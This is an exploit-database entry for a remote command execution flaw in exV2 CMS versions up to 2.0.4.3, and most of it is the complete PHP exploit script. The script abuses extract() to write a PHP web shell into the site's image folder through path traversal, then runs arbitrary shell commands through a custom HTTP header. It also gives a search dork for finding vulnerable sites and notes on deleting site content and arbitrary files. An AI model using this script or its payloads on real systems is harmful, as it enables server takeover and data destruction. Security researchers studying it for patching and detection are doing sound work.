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Suggest Exploit
vendor:
exV2
by:
retrog
7.5
CVSS
HIGH
Remote command execution
CWE
Product Name: exV2
Affected Version From: exV2 <= 2.0.4.3
Affected Version To: exV2 <= 2.0.4.3
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested:

exV2 <= 2.0.4.3 extract() remote commands execution exploit

This exploit allows an attacker to execute remote commands on the target server using the exV2 software. It works regardless of the php.ini settings and has two different exploit methods for register_globals=on or off.

Mitigation:

Update to a patched version of exV2 software.
Source

Exploit-DB raw data:

#!/usr/bin/php -q -d short_open_tag=on
<?
print_r('
-------------------------------------------------------------------------------
exV2 <= 2.0.4.3 extract() remote commands execution exploit
mail: retrog@alice.it
site: http://retrogod.altervista.org
dork: "Powered by eXV2 Vers"
-------------------------------------------------------------------------------
');
/*
this works regardless of php.ini settings
two different exploit methods for register_globals=on or off
*/
if ($argc<4) {
print_r('
-----------------------------------------------------------------------------
Usage: php '.$argv[0].' host path cmd OPTIONS
host:      target server (ip/hostname)
path:      path to exv2
cmd:       a shell command
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
Example:
php '.$argv[0].' 2.2.2.2 /exv2/ ls -la -P1.1.1.1:80
php '.$argv[0].' 1.1.1.1 / ls -la -p81
-----------------------------------------------------------------------------
');
die;
}

/*
  software site: http://www.exv2.de/modules/welcome/

  i) vulnerable code in include/common.php :

...
// ################# :: Register Globals Compatibility :: #################
	$globals_test = @ini_get('register_globals');
	if ( isset($globals_test) && empty($globals_test) ) {echo "merdaaaaaaaaaaaaaaaaaaaa\n";
	// These still need some work :: Cookie|Server|Env are ok now.
		if ( !empty($_GET) )  { extract($_GET, EXTR_SKIP);  }
		if ( !empty($_POST) ) { extract($_POST, EXTR_OVERWRITE); }
		define('_GLOBALS', FALSE);
	} else {
		define('_GLOBALS', TRUE);
	}
...

if register_globals = off you can overwrite every var on target server
found this exploitation method:

some lines after this code we have:

...
// ################ Include page-specific lang file ################
// von Zeile 135 herunter gesetzt, da Userinfo usw. nicht in die language übernommen wurde
	if ( isset($xoopsOption['pagetype']) ) {
		if ( @file_exists(XOOPS_ROOT_PATH.'/language/'.$xoopsConfig['language'].'/'.$xoopsOption['pagetype'].'.php') ) {
			include_once(XOOPS_ROOT_PATH.'/language/'.$xoopsConfig['language'].'/'.$xoopsOption['pagetype'].'.php');
		} else {
			include_once(XOOPS_ROOT_PATH.'/language/english/'.$xoopsOption['pagetype'].'.php');
		}
	}
...

so we modify the $xoopsOption['pagetype'] var to reach the mail_template.php script in /include folder
where we have:

...
	$code=stripslashes(isset($code) ? $code : "");
	if(isset($op_action) && $op_action == "save" && $lang != "" && $script != ""){
		$code=str_replace("&lt;","<",$code);
		$fp=fopen($mod_path."/language/".$lang."/mail_template/".$script, "w");
		fputs ($fp,$code);
		fclose($fp);
		header("Location:index.php?".$temp_op."=mail_template&script=".$script."&lang=".$lang."");
        exit();
	}
...

now we can save our shell code in a php file...

also, if register_globals = On you can call directly the mail_template.php script
to do the same stuff

through the extract() bug is also possibile to delete recursively all sites content
including the /modules/system/admin/design/include/conf_theme.php script
and to upload images without authorization in /images/library folder including
the image manager script and setting some vars

ii) an sql injection issue, poc:
http://retrogod.altervista.org/exv2_2043_sql.html

iii)
registered user can delete an arbitrary file on target server through
avatar upload features, because of a directory traversal in old_avatar
argument, passed to an unlink()

this is the poc for i)
*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

//register_globals=off, extract() tricks...
$data='-----------------------------7d626f251b00fa
Content-Disposition: form-data; name="xoopsOption[pagetype]"

../../include/mail_template
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name="op_action"

save
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name="mod_path"

.
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name="lang"

english
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name="script"

../../../images/library/placeholder.php
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name="code"

<?php set_time_limit(0); error_reporting(0); echo "my_delim"; passthru($_SERVER[HTTP_SUNTZU]);?>
-----------------------------7d626f251b00fa--
';
$packet ="POST ".$p." HTTP/1.0\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d626f251b00fa\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
sleep(2);

//register_globals=on
$data='-----------------------------7d626f251b00fa
Content-Disposition: form-data; name="op_action"

save
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name="mod_path"

.
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name="lang"

english
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name="script"

../images/library/placeholder.php
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name="code"

<?php set_time_limit(0); error_reporting(0); echo "my_delim"; passthru($_SERVER[HTTP_SUNTZU]);?>
-----------------------------7d626f251b00fa--
';
$packet ="POST ".$p."include/mail_template.php HTTP/1.0\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d626f251b00fa\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
sleep(2);

$packet ="GET ".$p."images/library/placeholder.php HTTP/1.0\r\n";
$packet.="SUNTZU: $cmd\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (strstr($html,"my_delim"))
{
 $temp=explode("my_delim",$html);
 die($temp[1]);
}
echo "exploit failed...";
?>

# milw0rm.com [2006-09-22]